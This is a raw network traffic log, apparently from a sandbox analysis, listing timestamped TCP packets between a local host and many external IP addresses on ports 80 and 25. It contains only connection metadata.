Jul 27, 2023 21:53:00.559010983 CEST	49845	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:00.593931913 CEST	49849	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:00.608850956 CEST	49847	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:00.610233068 CEST	80	49849	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:00.643178940 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643209934 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643238068 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643271923 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643287897 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643301010 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643330097 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643332005 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643352985 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643358946 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643385887 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643387079 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643404961 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643414021 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643434048 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643440962 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643469095 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643496037 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643496990 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.643527031 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.643553972 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.644108057 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.646243095 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.672395945 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.676073074 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:00.686666965 CEST	80	49850	13.224.103.91	192.168.2.4
Jul 27, 2023 21:53:00.686827898 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:00.692744017 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.694331884 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.705651045 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:00.706984043 CEST	80	49847	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:00.708738089 CEST	80	49847	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:00.708791018 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.708839893 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.708875895 CEST	49847	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:00.708888054 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.708934069 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.708981037 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.709014893 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.709014893 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.709090948 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.716159105 CEST	80	49850	13.224.103.91	192.168.2.4
Jul 27, 2023 21:53:00.716428041 CEST	80	49850	13.224.103.91	192.168.2.4
Jul 27, 2023 21:53:00.718265057 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:00.721249104 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.741149902 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.741246939 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.751816988 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.751851082 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.751873016 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.751892090 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752043009 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752043962 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752065897 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752101898 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752130985 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752149105 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752152920 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752212048 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752696037 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752721071 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752742052 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752763987 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752763987 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752784014 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.752799988 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.752827883 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.753649950 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.753674984 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.753694057 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.753707886 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.753714085 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.753732920 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.753740072 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.753772974 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.754581928 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.754612923 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.754632950 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.754641056 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.754653931 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.754672050 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.754673958 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.754697084 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.754736900 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.755559921 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.755647898 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.756064892 CEST	80	49849	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:00.757388115 CEST	49849	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:00.862613916 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.862646103 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.862664938 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.862678051 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.862695932 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.862766027 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.862814903 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.863010883 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863080978 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863101006 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863142014 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.863171101 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863192081 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863207102 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.863261938 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.863953114 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.863981962 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864002943 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864022017 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864041090 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864083052 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.864144087 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.864845991 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864892006 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864912987 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864933014 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864949942 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.864953995 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.864990950 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.865055084 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.865820885 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.865849018 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.865869999 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.865900993 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.865921974 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.865936995 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.866002083 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.866745949 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.866827011 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.866952896 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.866972923 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.866993904 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867013931 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867033958 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867052078 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.867130995 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.867918968 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867944956 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867970943 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.867996931 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868021011 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868067026 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.868112087 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.868875980 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868911982 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868941069 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868967056 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.868990898 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869045973 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.869108915 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.869864941 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869891882 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869918108 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869935989 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.869945049 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869968891 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.869997978 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.870071888 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.971599102 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972040892 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972065926 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972094059 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972115040 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972136974 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972321033 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.972356081 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.972524881 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972547054 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972587109 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.972626925 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.972865105 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972888947 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972909927 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972929001 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972948074 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.972949982 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.972975969 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.973015070 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.973743916 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.973771095 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.973790884 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.973810911 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.973829985 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.973840952 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.973896980 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.974615097 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.974642038 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.974663019 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.974683046 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.974704027 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.974740982 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.974757910 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.975527048 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.975548983 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.975569010 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.975598097 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.975620031 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.975634098 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.975640059 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.975670099 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.975702047 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.976511955 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.976533890 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.978296041 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.986891031 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:53:01.002784014 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.002836943 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.002857924 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.002878904 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.002898932 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.002921104 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.003029108 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.003084898 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.039068937 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.039720058 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.042800903 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.044207096 CEST	49855	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:01.049479961 CEST	49856	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:01.056583881 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.057970047 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.061338902 CEST	49859	80	192.168.2.4	104.21.23.9
Jul 27, 2023 21:53:01.074172020 CEST	80	49858	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:01.074316025 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.074430943 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.074785948 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.075331926 CEST	80	49857	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:01.075416088 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.075793982 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.077441931 CEST	80	49859	104.21.23.9	192.168.2.4
Jul 27, 2023 21:53:01.077680111 CEST	49859	80	192.168.2.4	104.21.23.9
Jul 27, 2023 21:53:01.078083992 CEST	49859	80	192.168.2.4	104.21.23.9
Jul 27, 2023 21:53:01.091221094 CEST	80	49858	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:01.094168901 CEST	80	49859	104.21.23.9	192.168.2.4
Jul 27, 2023 21:53:01.094377041 CEST	80	49857	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:01.094866037 CEST	80	49857	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:01.095110893 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.104130030 CEST	80	49859	104.21.23.9	192.168.2.4
Jul 27, 2023 21:53:01.104212046 CEST	49859	80	192.168.2.4	104.21.23.9
Jul 27, 2023 21:53:01.107944012 CEST	80	49860	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:01.109965086 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.122570038 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:53:01.124130964 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:53:01.124166012 CEST	25	49803	66.226.70.66	192.168.2.4
Jul 27, 2023 21:53:01.124258041 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:53:01.124324083 CEST	49803	25	192.168.2.4	66.226.70.66
Jul 27, 2023 21:53:01.142733097 CEST	80	49852	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:01.142838955 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.150356054 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:01.150392056 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.150751114 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:01.160834074 CEST	80	49850	13.224.103.91	192.168.2.4
Jul 27, 2023 21:53:01.161735058 CEST	80	49850	13.224.103.91	192.168.2.4
Jul 27, 2023 21:53:01.161827087 CEST	49850	80	192.168.2.4	13.224.103.91
Jul 27, 2023 21:53:01.170576096 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:01.170774937 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:01.174933910 CEST	80	49858	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:01.175200939 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.184073925 CEST	80	49860	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:01.184165001 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.250745058 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:01.252430916 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:01.272933960 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.272989035 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273029089 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273066998 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273106098 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273155928 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273169994 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.273215055 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.273231983 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.273263931 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.300465107 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.300818920 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.304429054 CEST	80	49855	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:01.304711103 CEST	49855	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:01.310203075 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.310350895 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.452394962 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.452600002 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.453568935 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.453927994 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.454072952 CEST	49855	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:01.457449913 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.457540989 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.457623959 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.471631050 CEST	80	49857	192.124.249.20	192.168.2.4
Jul 27, 2023 21:53:01.472747087 CEST	49857	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:53:01.477929115 CEST	80	49858	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:01.491132975 CEST	80	49860	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:01.491278887 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:01.514122009 CEST	80	49808	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:01.514238119 CEST	49808	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:01.554080009 CEST	80	49858	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:01.554343939 CEST	49858	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:01.556330919 CEST	80	49852	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:01.557172060 CEST	80	49852	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:01.557316065 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.597234011 CEST	80	49861	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:01.597338915 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.642641068 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.642712116 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.659775019 CEST	49862	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:01.676084042 CEST	80	49862	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:01.676191092 CEST	49862	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:01.692377090 CEST	49862	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:01.693542957 CEST	49863	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:01.708584070 CEST	80	49862	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:01.712096930 CEST	49864	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:01.714097023 CEST	80	49855	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:01.714231014 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.714277029 CEST	80	49855	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:01.714294910 CEST	80	49855	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:01.714826107 CEST	49855	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:01.718415022 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718441010 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718461990 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718501091 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718522072 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718542099 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718561888 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718575001 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.718583107 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718609095 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718636036 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.718650103 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.718650103 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.718664885 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.718816996 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.718837023 CEST	49865	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:01.720252037 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721062899 CEST	80	49854	59.106.19.204	192.168.2.4
